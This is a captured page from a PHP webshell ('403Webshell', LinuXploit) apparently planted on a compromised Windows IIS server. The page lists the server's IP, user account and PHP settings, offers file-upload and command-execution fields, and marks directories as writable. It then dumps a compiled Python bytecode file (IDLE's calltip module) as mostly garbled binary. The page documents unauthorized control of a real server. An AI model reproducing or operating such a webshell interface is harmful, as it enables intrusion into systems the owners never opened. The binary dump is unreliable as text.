403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/idlelib/__pycache__/calltip.cpython-315.opt-1.pyc
R
>lqj0c���Qs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH$G
s
QQ2sQs]Us
]sQs\O Q2sQsQsQ	s\Q
6Xc]QHXGs\Q]Q
5P!P!)z�Pop up a reminder of how to call a function.

Call Tips are floating windows which display function, class, and method
parameter and docstring information when you type an opening parenthesis, and
which disappear when you type a closing parenthesis.
)�	calltip_w)�HyperParserc�``�\sQs]snQQksQsQsQQksQsQs	Qs
QsQ	sQ
s
UsP!)�Calltipc��Ue
PUmP!VmUOUmPUmUOUmP!�N)�editwin�text�active_calltip�_make_tk_calltip_window�_calltip_window)�selfrs&&�$C:\Python315\\Lib\idlelib\calltip.py�__init__�Calltip.__init__s4���?��D�L�"�L����D�I�"&�D��#'�#?�#?�D� �c��PUmP!r)r�rs&r
�close�
Calltip.closes
��#��rc�D�[OUO2!r)r�
CalltipWindowrrs&r
r
�Calltip._make_tk_calltip_window s���&�&�t�y�y�1�1rc�r�UO%c$UOO2PUmP!P!r)r	�hidetip�r�events&&r
�remove_calltip_window�Calltip.remove_calltip_window$s-���������'�'�)�"&�D��rc�*�UOP	2Q!)z9The user selected the menu entry or hotkey, open the tip.�break��open_calltiprs&&r
�force_open_calltip_event� Calltip.force_open_calltip_event)s�����$��rc�*�UOP
2P!)z�Happens when it would be nice to open a calltip, but not really
necessary, for example after an opening bracket, so function calls
won't be made.
r rs&&r
�try_open_calltip_event�Calltip.try_open_calltip_event.s��
	
���%� rc��UO%c2UOO%cUOP
2P!P!P!)F)r	�	tipwindowr!rs&&r
�refresh_calltip_event�Calltip.refresh_calltip_event5s6������4�#6�#6�#@�#@�#@����e�$�$A�rc��[UOQ2oUOQ2oU%fUO2P!UO%c][[U]*OQ22vqEVE1UOOUOO16XcP!UOU]*2UO2oU%fP!UO2U%fUOQ2P6wcP!UOU2oU%fP!UO2UmUOO!Vs]*U]*2P![cPoK�h9h)z�Maybe close an existing calltip and maybe open a new calltip.

Called from (force_open|try_open|refresh)_calltip_event functions.
�insert�(�.)rr�get_surrounding_bracketsrr	�map�int�split�	parenline�parencol�	set_index�get_expression�
ValueError�find�	fetch_tipr�showtip)r�	evalfuncs�hp�	sur_paren�opener_line�
opener_col�
expression�argspecs&&      r
r!�Calltip.open_calltip9sA��
����x�
0���/�/��4�	���&�&�(������&)�#�y��|�/A�/A�#�/F�&G�#�K��)��$�$�.�.��0C�0C�0L�0L�M�N��
���Y�q�\�"�	��*�*�,�J��
�	
�"�"�$��j�o�o�c�2�b�8���.�.��,����"�2�2�4������#�#�G�q�\�9�Q�<�H��/�	��J�	�s�
E0�0	F�:F�?Fc��UOOOOOoU%cUO
QQU1-2![[U22![
cPoK@h9h)aReturn the argument list and docstring of a function or class.

If there is a Python subprocess, get the calltip there.  Otherwise,
either this fetch_tip() is running in the subprocess or it was
called in an IDLE running without the subprocess.

The subprocess environment is that of the most recently run script.  If
two unrelated modules are being edited some calltips in the current
module may be inoperative if the module was not the last to run.

To find methods, fetch_tip must be fed a fully qualified name.

�exec�get_the_calltip)	r�flist�pyshell�interp�rpcclt�AttributeError�
remotecall�get_argspec�
get_entity)rr@rIs&& r
r9�Calltip.fetch_tiplst��	��\�\�'�'�/�/�6�6�=�=�F���$�$�V�->�&0�]�B�8�
8��z�*�5�6�6��
�	��F�	�s�4A(�(	A8�2A8�7A8)rr	rrr)�__name__�
__module__�__qualname__�__firstlineno__rrr
rr"r%r)r!r9�__static_attributes__�__classdictcell__)�
__classdict__s@r
rrs:����@�$�2�'�
�
!�%�1I�f7�7rrc��U%c/-[OA[OAo[	V2!P![
cP!h9h)zoReturn the object corresponding to expression evaluated
in a namespace spanning sys.modules and __main.dict__.
)�sys�modules�__main__�__dict__�eval�
BaseException)r@�	namespaces& r
rMrM�sK���8�s�{�{�8�h�&7�&7�8�	�	��
�.�.����	��	�s�
:�	A	�A	�A	z(?<=\()\w*\,?\s*zSee source or doczinvalid method signaturec��UOo[U[O2%cSLSo[[OU22o[U[2%cUQ6Xc[o[U2[6�c"[O U[["Q5LU%cU,L,o[O$U2oU%c}UO'Q[(2P[(FDZoUO+2oU%fL@[U2[6�cUP[]*
Q*oUO-U2J\	QO/U2oS9%f[![cP!h9h[c?o[S2oSO[2%c[tPo=!PoPo=CKvPo=hh9h)a�Return a string describing the signature of a callable object, or ''.

For Python-coded functions and methods, the first line is introspected.
Delete 'self' parameter for classes (.__init__) and bound methods.
The next lines are the first lines of the doc string up to the first
empty line or _MAX_LINES.    For builtins, this typically includes
the arguments in addition to the return value.
z())�subsequent_indent�
z...)�__call__r\�
isinstance�types�
MethodType�str�inspect�	signature�	Exception�
startswith�_invalid_method�type�_default_callable_argspec�len�	_MAX_COLS�textwrap�wrap�_INDENT�getdocr2�
_MAX_LINES�strip�append�join)	�ob�ob_call�fobrA�err�msg�lines�doc�lines	&        r
rLrL�sb����+�+�� ���)9�)9�:�:�'��C���g�'�'��,�-���#�t����D��+���G��y�(��]�]�7�I��
I�;B�w�i��
��.�.��
�C�
��I�I�d�J�/���<�D��:�:�<�D����4�y�9�$��O�i�!�m�,�u�4���L�L���
=��i�i���G��/�/�/�/��E��������#�h���>�>�/�*�*�"�"��G���sF�E3�F�3	F�=F�F�	G�G�%G	�6G	�;G�G	�	GrY)�mainzidlelib.idle_test.test_calltip)�	verbosityz    )�__doc__rYrf�rerWrorc�idlelibr�idlelib.hyperparserrrrMrnrsrq�compile�_first_paramrlrjrLrO�unittestr�rr
�<module>r�s������	�
����+�p7�p7�f�
�	�
�
�
���z�z�-�.��/��,��.0�b�z����	)�Q�7�r

Youez - 2016 - github.com/yon3zu
LinuXploit